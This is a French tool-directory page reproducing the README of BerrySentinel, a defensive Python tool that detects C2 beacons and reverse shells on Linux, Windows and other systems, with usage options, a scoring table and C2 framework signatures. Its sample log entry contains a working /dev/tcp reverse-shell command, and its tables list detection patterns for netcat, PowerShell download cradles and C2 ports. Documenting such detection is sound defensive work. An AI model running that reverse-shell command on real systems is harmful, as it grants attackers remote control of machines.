Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
BerrySentinel — Berry Sentinel v5.0 — Détecteur comportemental avancé de C2 et de reverse shells pour les systèmes Linux/Windows/Unix. Propose une analyse des connexions en temps réel, un scoring heuristique, une détection de signatures de frameworks C2, une analyse des intervalles de beacon et une TUI interactive basée sur curses avec moteur de terminaison de processus. | Kitploit
Outils/GitHubGitHub/dereeqw/berrysentinel
Outils DéfensifsSécurité RéseauAnalyse de MalwareTests d'IntrusionCommandement et ContrôleRenseignement sur les MenacesDétection d'IntrusionRed TeamingRéponse aux IncidentsDétection d'AnomaliesAnalyse de Journaux
13il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
GitHub
dereeqw/berrysentinel

BerrySentinel

Voir le dépôt

À propos

Berry Sentinel v5.0 — Détecteur comportemental avancé de C2 et de reverse shells pour les systèmes Linux/Windows/Unix. Propose une analyse des connexions en temps réel, un scoring heuristique, une détection de signatures de frameworks C2, une analyse des intervalles de beacon et une TUI interactive basée sur curses avec moteur de terminaison de processus.

Partager

🫐 Berry Sentinel

Détecteur comportemental de connexions C2 (Command & Control) en temps réel

Zero-signature · Bulletproof Collection · Deep Scan · Kill Engine

Python 3.8+ Platform License: MIT


Qu'est-ce que c'est ?

Berry Sentinel surveille toutes les connexions réseau actives sur votre système et analyse le comportement des processus qui les génèrent pour détecter une activité malveillante — sans utiliser de bases de signatures antivirus ni de listes d'IP bloquées.

Il détecte les reverse shells, webshells, RATs, beacons C2 et frameworks comme Meterpreter, Cobalt Strike, Sliver ou Empire en observant comment se comporte un processus : si un interpréteur Python a son stdin connecté à un socket distant, cela est suspect même si l'IP est inconnue.

root@kitploit:~
╔══════════════════════════════════════════════════════════════════════════════════╗
║  BERRY SENTINEL v5.0 — Détecteur Comportemental C2 · TUI Interactif                              ║
║  Connexions : 38 │ Menaces : 2 │ Signatures : 1 │ via proc/open+ss │ 12ms │ #47                     ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║ ID  SEV      PTS   PID    PROC    DISTANT              ÉTAT     SIGNATURES/TAGS                    ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║  3  █CRITIQUE  85   1337   bash    1.2.3.4:4444   ESTAB  ⚑Meterpreter SHELL→NET.                 ║
║  7  ▲HAUT      52   2048   python3 5.6.7.8:8443   ESTAB  TLS-NOBR BCN(60s)                       ║
╚══════════════════════════════════════════════════════════════════════════════════╝

Caractéristiques

  • TUI interactif avec curses : navigation ↑↓, détail de connexion, kill engine intégré
  • Analyse comportementale pure : sans signatures AV, sans listes noires d'IP
  • Détection de beacon : identifie les connexions C2 par leurs intervalles réguliers (Cobalt Strike ~60s, Empire ~5s, etc.)
  • 14+ frameworks C2 reconnus : Meterpreter, Cobalt Strike, Sliver, Empire, Havoc, Brute Ratel, Pupy, Merlin, Covenant, Mythic...
  • Deep scan (avec root) : analyse la mémoire du processus, les régions RWX, les variables d'environnement, les exécutables supprimés du disque
  • Bulletproof collection : utilise 5 méthodes de collecte en parallèle (/proc/net, ss, netstat, psutil, lsof) avec déduplication automatique
  • Cross-platform : Linux, macOS, Windows, Android/Termux
  • Exportation JSON et log : alertes au format JSONL compatible avec jq, ELK, Splunk
  • Liste blanche : ignorer des IP ou réseaux de confiance par CIDR
  • Zéro dépendance en mode basique (stdlib uniquement) ; psutil optionnel pour une couverture supplémentaire

Installation

root@kitploit:~
# Cloner le dépôt
git clone https://github.com/dereeqw/BerrySentinel.git
cd BerrySentinel 

# (Optionnel mais recommandé) installer psutil
pip install psutil

# Exécuter
python3 BerrySentinel.py

Android / Termux

root@kitploit:~
pkg install python
pip install psutil
python3 BerrySentinel.py --no-tui  # curses peut ne pas être disponible sur Termux

Sans installation (one-liner)

root@kitploit:~
curl -O https://raw.githubusercontent.com/dereeqw/BerrySentinel/main/BerrySentinel.py
python3 BerrySentinel.py

Utilisation

root@kitploit:~
python3 BerrySentinel.py [options]

Options :
  --all, -a           Inclure les connexions locales/loopback (en plus des distantes)
  --interval N, -i N  Rafraîchir toutes les N secondes (défaut : 2, min : 0.5)
  --log FILE, -l FILE Enregistrer les alertes dans un fichier (format JSONL)
  --json, -j          Exporter le JSON complet à la sortie
  --whitelist LISTE   IP ou CIDR à ignorer, séparés par des virgules
  --no-color          Sans couleurs ANSI (utile pour les pipes ou logs)
  --verbose, -v       Afficher toutes les connexions, pas seulement les suspectes
  --top N, -t N       Maximum de lignes dans le tableau (défaut : 50)
  --diag, -d          Diagnostic : affiche quelles méthodes de collecte fonctionnent
  --no-tui            Mode legacy sans curses (défilement classique, plus portable)
  --version, -V       Afficher la version et quitter

Exemples

root@kitploit:~
# TUI interactif — mode recommandé
python3 BerrySentinel.py

# Deep scan avec root (accède à la mémoire des processus)
sudo python3 BerrySentinel.py --all

# Enregistrer les alertes et exporter JSON à la fin
python3 BerrySentinel.py --log /var/log/sentinel.log --json

# Ignorer le réseau interne et rafraîchir toutes les 5 secondes
python3 BerrySentinel.py --whitelist 192.168.0.0/16,10.0.0.0/8 --interval 5

# Mode texte pour utilisation dans des scripts ou via SSH sans terminal interactif
python3 BerrySentinel.py --no-tui --no-color | tee monitoring.txt

# Voir quelles méthodes de collecte fonctionnent sur le système actuel
python3 BerrySentinel.py --diag --no-tui

# Alertes graves uniquement, mise à jour toutes les 10 secondes, enregistrer le log
sudo python3 BerrySentinel.py --all --interval 10 --log sentinel.log --json

Touches du TUI interactif


Système de notation

Chaque connexion reçoit un score de 0 à 100 selon les indicateurs détectés :

Sévérité selon le score :


Frameworks C2 détectés

Berry Sentinel inclut des signatures pour les frameworks suivants (évaluation par ports, nom de processus, ligne de commande et patterns de beacon) :


Format de log (JSONL)

Chaque alerte est enregistrée comme une ligne JSON indépendante :

root@kitploit:~
{
  "ts": "2025-07-15T14:23:01.123456",
  "id": 42,
  "sev": "CRITIQUE",
  "score": 85.0,
  "pid": 1337,
  "name": "bash",
  "cmd": "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1",
  "remote": "1.2.3.4:4444",
  "local": "192.168.1.10:52341",
  "state": "ESTABLISHED",
  "tags": ["SHELL→NET", "PIPE-REDIR", "C2P(4444)"],
  "sigs": ["Meterpreter"],
  "src": "proc/open(self)+ss+netstat"
}

Traiter avec jq :

root@kitploit:~
# Filtrer uniquement les connexions critiques
jq 'select(.sev == "CRITIQUE")' sentinel.log

# Voir tous les PIDs suspects
jq '[.pid] | unique' sentinel_export.json

# Rechercher par signature spécifique
jq 'select(.sigs | contains(["CobaltStrike"]))' sentinel.log

Architecture

root@kitploit:~
BerrySentinel.py
├── Constantes globales
│   ├── SHELL_BINS, SCRIPT_ENGINES  — Noms de shells et interpréteurs
│   ├── C2_SUSPECT_PORTS            — Ports typiques de C2
│   ├── PRIVATE_NETS                — Plages IP privées
│   └── C2_SIGNATURES               — Signatures de frameworks connus
│
├── Modèles de données
│   ├── C2Signature   — Définition de signature C2
│   ├── ProcInfo      — Info de processus OS
│   ├── Conn          — Connexion réseau + résultat d'analyse
│   └── BeaconTracker — Détecteur de beacons C2
│
├── Collecte de données
│   ├── Collector     — Orchestre plusieurs sources réseau
│   ├── parse_proc_net_content() — Analyseur /proc/net/*
│   ├── build_inode_pid_map()    — Carte inode→PID
│   ├── get_proc_info()          — Info processus via /proc
│   └── get_proc_info_psutil()   — Info processus via psutil
│
├── Analyse
│   ├── Engine.analyze()    — Score + tags comportementaux
│   ├── Engine._beacon()    — Détection de beacons
│   └── match_signatures()  — Correspondance de signatures C2
│
├── Sortie
│   ├── CursesTUI   — TUI interactif (mode par défaut)
│   ├── LegacyTUI   — Sortie ANSI sans curses (fallback)
│   └── Logger      — Log JSONL sur disque
│
└── Sentinel        — Orchestrateur principal

Prérequis

  • Python 3.8+
  • psutil — optionnel mais fortement recommandé (pip install psutil)

Sans dépendances supplémentaires, l'outil fonctionne avec la stdlib de Python. psutil ajoute une couverture sur macOS et Windows où /proc n'existe pas.


Plateformes


Personnalisation

Ajouter sa propre signature C2

root@kitploit:~
from BerrySentinel import C2Signature, C2_SIGNATURES

mon_rat = C2Signature(
    name="MonRAT",
    description="RAT interne corporatif non autorisé",
    score_bonus=70,
    checks=[
        {"type": "port", "value": 6543},
        {"type": "cmdline", "value": r"mon_rat\.py|rat_agent"},
        {"type": "procname", "value": r"^mon_rat$"},
    ],
)
C2_SIGNATURES.append(mon_rat)

Utiliser comme bibliothèque dans un script

root@kitploit:~
import argparse
from BerrySentinel import Sentinel, Sev

args = argparse.Namespace(
    all=True, interval=10, log=None, json=False,
    whitelist="192.168.0.0/16", no_color=True,
    verbose=False, top=100, diag=False, no_tui=True
)

s = Sentinel(args)
s._cycle_data()

for conn in s.last_conns:
    if conn.severity >= Sev.HIGH:
        proc = conn.proc
        print(f"[ALERTE] PID {conn.pid} ({proc.name if proc else '?'}) "
              f"→ {conn.remote_addr}:{conn.remote_port} "
              f"score={conn.score:.0f} tags={conn.tags}")

Moteur d'analyse personnalisé

root@kitploit:~
from BerrySentinel import Engine, Conn, Sev

class MonEngine(Engine):
    KNOWN_C2_IPS = {"203.0.113.1", "198.51.100.42"}

    def analyze(self, c: Conn) -> Conn:
        c = super().analyze(c)
        # Ajouter sa propre logique
        if c.remote_addr in self.KNOWN_C2_IPS:
            c.score = min(c.score + 40, 100)
            c.tags.append("KNOWN-IOC-IP")
            c.severity = Sev.CRITICAL
        return c

Avertissement d'utilisation responsable

Berry Sentinel est conçu pour surveiller votre propre système ou des systèmes sur lesquels vous avez une autorisation explicite. Le Kill Engine n'agit que lorsque l'utilisateur le demande explicitement. Utilisez-le de manière responsable et conformément aux lois applicables dans votre juridiction.


Licence

MIT — voir LICENSE

Télécharger l’outil
ToucheAction
↑ / ↓Naviguer entre les connexions
d / DAfficher le panneau de détails de la connexion sélectionnée
k / KTuer le processus (demande confirmation du PID)
f / FParcourir le filtre de sévérité : TOUT → MOYEN → HAUT → CRITIQUE
rForcer un rafraîchissement immédiat
ESCFermer le panneau de détails ou annuler l'opération
qQuitter
IndicateurPointsTag
stdin/stdout → socket+55FD→SOCK
Shell binaire avec connexion distante+40SHELL→NET
Webshell (shell comme fils d'Apache/Nginx)+35WEBSHELL
Bind shell sur port élevé+35BIND-SHELL
Utilisation de netcat/socat+35NETCAT
Redirection /dev/tcp ou mkfifo+40PIPE-REDIR
Exécutable supprimé du disque+25EXE-DEL!
Exécutable dans /tmp ou /dev/shm+15EXE-TMP
Beacon détecté (connexion cyclique)+25×confBCN(60s)
Signature Meterpreter+55SIG:Meterpreter
Signature Cobalt Strike+60SIG:CobaltStrike
Signature Sliver+58SIG:Sliver
Régions mémoire RWX+20RWX(N)
LD_PRELOAD ou HISTFILE=/dev/null+10ENV:LD_PRELOAD
Interpréteur de scripts connecté+25INTERP→NET
eval/exec en ligne de commande+18EVAL
PowerShell distant (IEX, DownloadString)+30PS-REM
ScoreSévéritéCouleur
≥ 65CRITIQUE🔴 Rouge vif
≥ 45HAUT🟠 Orange
≥ 25MOYEN🟡 Jaune
≥ 8BAS🔵 Cyan
< 8INFO⚪ Gris
FrameworkScore bonusIndicateurs clés
Meterpreter+55Port 4444, processus ruby/msfconsole
Cobalt Strike+60Port 50050, beacon ~60s, processus java
Sliver+58Port 31337/8888, beacon ~60s
Empire+55Port 1234/7777, PowerShell -enc
Brute Ratel+62Port 2083, processus badger
Havoc+58Port 40056, demon.x64/x86
Pupy RAT+52Port 9999, pupy.py
Merlin+54Port 8443, merlin-agent
Covenant+54Port 7443, GruntHTTP
PoshC2+52FComServer, ImplantCore
Mythic+56Port 7443, poseidon/apfell
QuasarRAT+50Ports 4782-4785
NetcatShell+45socat exec bash, pty
DNS-C2+40Port 53, dnscat/iodine
SystèmeSupportNotes
Linux✅ CompletAvec root active le deep scan
Android/Termux✅ CompletUtiliser --no-tui si curses échoue
macOS⚠️ PartielPas de /proc ; utilise netstat+psutil
Windows⚠️ Partielnetstat+psutil, pas d'analyse mémoire